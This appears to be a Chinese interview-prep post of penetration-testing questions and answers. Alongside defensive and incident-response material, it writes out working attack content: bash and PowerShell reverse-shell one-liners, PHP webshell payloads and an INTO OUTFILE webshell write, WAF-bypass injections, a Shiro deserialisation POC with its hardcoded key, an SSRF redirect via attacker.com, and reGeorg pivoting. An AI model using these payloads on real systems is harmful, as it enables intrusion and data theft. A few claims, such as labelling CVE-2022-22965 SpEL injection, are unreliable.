2025年渗透测试面试题总结-2025年HW(护网面试) 80(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年HW(护网面试) 80
一、有趣的挖洞经历:JSONP劫持+组合漏洞攻破企业内网
二、高频漏洞TOP3与修复方案
三、渗透工具链与特性
四、WAF绕过实战技巧
SQL注入绕过
Webshell上传
五、系统提权核心思路
六、开源组件高危漏洞精选
七、深度剖析CVE:Shiro RememberMe反序列化(CVE-2016-4437)
八、反序列化漏洞原理与防御
九、服务器入侵应急响应流程
十、SQL注入全维度解析
十一、中间件解析漏洞利用
十二、系统与数据库加固指南
十三、CDN真实IP探测技术
十四、渗透测试标准化流程
实战案例:某次红队行动中,通过Git源码泄露(/.git/)获取数据库配置,利用弱口令进入后台,结合Struts2漏洞(S2-045)获得系统权限。
十五、反弹Shell与内网渗透
选择原因:Bash在Linux系统兼容性最佳,PowerShell支持.NET对象操作便于内网扩展。
十六、SSRF漏洞攻防全景
十七、内网穿透工具与实战
2025年HW(护网面试) 80
介绍一下自认为有趣的挖洞经历(或CTF经历) 你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案? 你平时使用哪些工具?以及对应工具的特点? 如果遇到waf的情况下如何进行SQL注入/上传Webshell怎么做? 谈谈Windows系统与Linux系统提权的思路? 列举出您所知道的所有开源组件高危漏洞 描述一个你深入研究过的 CVE 或 POC php/java反序列化漏洞的原理?解决方案? 如果一台服务器被入侵后,你会如何做应急响应? 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 常见的中间件解析漏洞利用方式 Windows、Linux、数据库的加固降权思路 如何绕过CDN获取目标网站真实IP,谈谈你的思路 如果给你一个网站,你的渗透测试思路是什么? 你实际的渗透测试经历等等 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? SSRF漏洞的成因 防御 绕过? 有哪些反向代理的工具,有没有实际的内网渗透经历?
一、有趣的挖洞经历:JSONP劫持+组合漏洞攻破企业内网
场景:某金融系统存在未授权JSONP接口泄露用户身份信息,同时子域存在CORS配置错误。
利用链:
- 通过JSONP获取当前登录用户的员工ID(如
callback({"uid":"A001"})
)- 构造恶意页面诱导用户访问,利用CORS漏洞以用户身份请求内网系统(
Origin: attacker.com
+Access-Control-Allow-Origin: *
)- 劫持用户会话访问敏感业务系统,最终通过上传漏洞获取Webshell
关键点:漏洞组合利用突破同源策略,实现从外网到内网的横向渗透。
二、高频漏洞TOP3与修复方案
漏洞类型 原理 修复方案 SQL注入 用户输入拼接SQL语句导致逻辑篡改 预编译(PreparedStatement)+ 输入过滤特殊字符(如MySQL mysql_real_escape_string()
)SSRF 服务端未校验URL参数,可访问内网资源 白名单校验协议/域名 + 禁用重定向(如Java的 UrlValidator
)反序列化 未校验反序列化数据导致恶意代码执行 禁用危险类(如PHP的 unserialize_callback_func
)+ 签名验证数据
三、渗透工具链与特性
- Burp Suite:流量拦截/重放(Repeater模块)+ 漏洞扫描(Scanner)
- Sqlmap:自动化注入(支持时间盲注、堆叠查询等)
- Cobalt Strike:内网渗透(Beacon命令控制 + Socks代理)
- Chisel:轻量级隧道工具(TCP/UDP端口转发)
- Impacket:Windows协议攻击库(如psexec.py 执行远程命令)
四、WAF绕过实战技巧
SQL注入绕过
sq
/* 分块传输编码绕过 */ POST /login HTTP/1.1 Transfer-Encoding: chunked 3; id =1 0 /* 注释符混淆 */ UNION/**/SELECT 1,2,version()-- -
Webshell上传
- 双扩展名绕过:
shell.php.jpg
- 图片马注入:
exiftool -Comment='<?=system($_GET[0]);?>' image.jpg
- 内容混淆:在PHP文件中插入GIF头
GIF89a; <?php ... ?>
五、系统提权核心思路
系统 提权路径 实例 Windows 服务路径劫持 + DLL注入 利用 AlwaysInstallElevated
策略安装恶意MSILinux SUID程序滥用 + 内核漏洞 查找 find / -perm -4000 2>/dev/null
后利用CVE-2021-4034(Polkit提权)
六、开源组件高危漏洞精选
- Log4j2 (CVE-2021-44228):JNDI注入导致RCE
- Fastjson (CVE-2017-18349):反序列化任意代码执行
- Shiro (CVE-2020-1957):权限绕过
- Spring (CVE-2022-22965):表达式注入(SpEL)
七、深度剖析CVE:Shiro RememberMe反序列化(CVE-2016-4437)
漏洞原理:
Shiro使用AES加密Cookie,但密钥硬编码在代码中。攻击者构造恶意序列化数据,加密后作为rememberMe
Cookie发送,服务端解密时触发反序列化RCE。
POC关键代码:java
SimplePrincipalCollection principals = new SimplePrincipalCollection(); byte[] payload = Serializer.serialize(new CommonsBeanutils1().getObject(command)); AesCipherService cipher = new AesCipherService(); byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = cipher.encrypt(payload, key); return ciphertext.toString();
八、反序列化漏洞原理与防御
PHP反序列化:
- 原理:
unserialize()
自动触发魔术方法(如__wakeup()
,__destruct()
)- 防御:禁用
unserialize()
+ 使用json_decode()
替代
Java反序列化:- 原理:
ObjectInputStream.readObject()
调用链触发Gadget(如Apache Commons Collections的Transformer
链)- 防御:JEP 290过滤机制 + 替换反序列化库(如Fury)
九、服务器入侵应急响应流程
- 隔离:断网 + 备份内存镜像(
volatility -f memdump imageinfo
)- 取证:
- 进程分析:
ps auxf
/tasklist
- 后门检测:
rkhunter --check
/chkrootkit
- 日志审计:
journalctl -u sshd --since "2025-07-30"
- 溯源:分析Web日志(如Apache的
access_log
中的攻击IP)- 加固:修复漏洞 + 最小权限原则(如MySQL降权)
十、SQL注入全维度解析
注入方式:
- 联合查询:
UNION SELECT null,@@version,null
- 布尔盲注:
id=1' AND substring(version(),1,1)='5'--
- 报错注入:
exp(~(SELECT * FROM (SELECT USER())a))
进阶利用:- 读取文件:
LOAD_FILE('/etc/passwd')
- 写Webshell:
SELECT '<?php eval($_POST[0]);?>' INTO OUTFILE '/var/www/shell.php'
十一、中间件解析漏洞利用
中间件 漏洞形式 Nginx 路径解析错误: /test.jpg/.php
Apache 多扩展名解析: test.php.xxx
IIS 6.0 分号截断: shell.asp;.jpg
十二、系统与数据库加固指南
Linux降权:
bash
# 创建低权用户 useradd -M -s /sbin/nologin appuser # 限制目录访问 chroot /var/www && setenforce 1
Windows加固:
- 关闭高危服务:
net stop LanmanServer
- 启用LSA保护:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1
MySQL加固:sql
REVOKE FILE ON *.* FROM 'webuser'@'localhost'; ALTER USER 'root'@'localhost' IDENTIFIED WITH caching_sha2_password BY 'NewPassword123!';
十三、CDN真实IP探测技术
- 历史DNS记录:查询
securitytrails.com
获取旧A记录- 子域爆破:
subfinder -d target.com
发现未接入CDN的子域(如dev.target.com
)- 邮件服务器溯源:注册账号触发邮件,从邮件头提取发送服务器IP
- SSL证书匹配:
censys.io
搜索相同证书的IP
十四、渗透测试标准化流程
mermaid
graph TD A[信息收集] --> B[漏洞扫描] B --> C{是否存在漏洞?} C -->|是| D[漏洞利用] C -->|否| E[社会工程测试] D --> F[获取初始权限] F --> G[内网横向移动] G --> H[数据提取+权限维持]
实战案例:某次红队行动中,通过Git源码泄露(
/.git/
)获取数据库配置,利用弱口令进入后台,结合Struts2漏洞(S2-045)获得系统权限。十五、反弹Shell与内网渗透
常用Shell类型:
bash
# Bash(最通用) bash -c 'exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1' # PowerShell(Windows) powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
选择原因:Bash在Linux系统兼容性最佳,PowerShell支持.NET对象操作便于内网扩展。
十六、SSRF漏洞攻防全景
绕过技巧:
- 进制编码:
http://2130706433
(127.0.0.1的十进制)- 重定向:
http://attacker.com/redirect.php?url=file:///etc/passwd
- DNS重绑定:
http://<恶意域名>:80
(TTL=0多次解析)
防御方案:- 协议白名单:仅允许HTTP/HTTPS
- 禁用非必要端口(如22, 6379)
十七、内网穿透工具与实战
反向代理工具对比:
工具 协议 特点 frp TCP/UDP 多级跳板 + 加密传输 ngrok HTTP 快速部署 + 临时域名 reGeorg HTTP 基于Websocket绕过防火墙 内网渗透实例:
- 通过Webshell上传
reGeorg
代理脚本- 本地执行:
python reGeorgSocksProxy.py -p 1080 -u http://target.com/tunnel.php
- 使用Proxychains扫描内网:
proxychains nmap -sT 192.168.1.0/24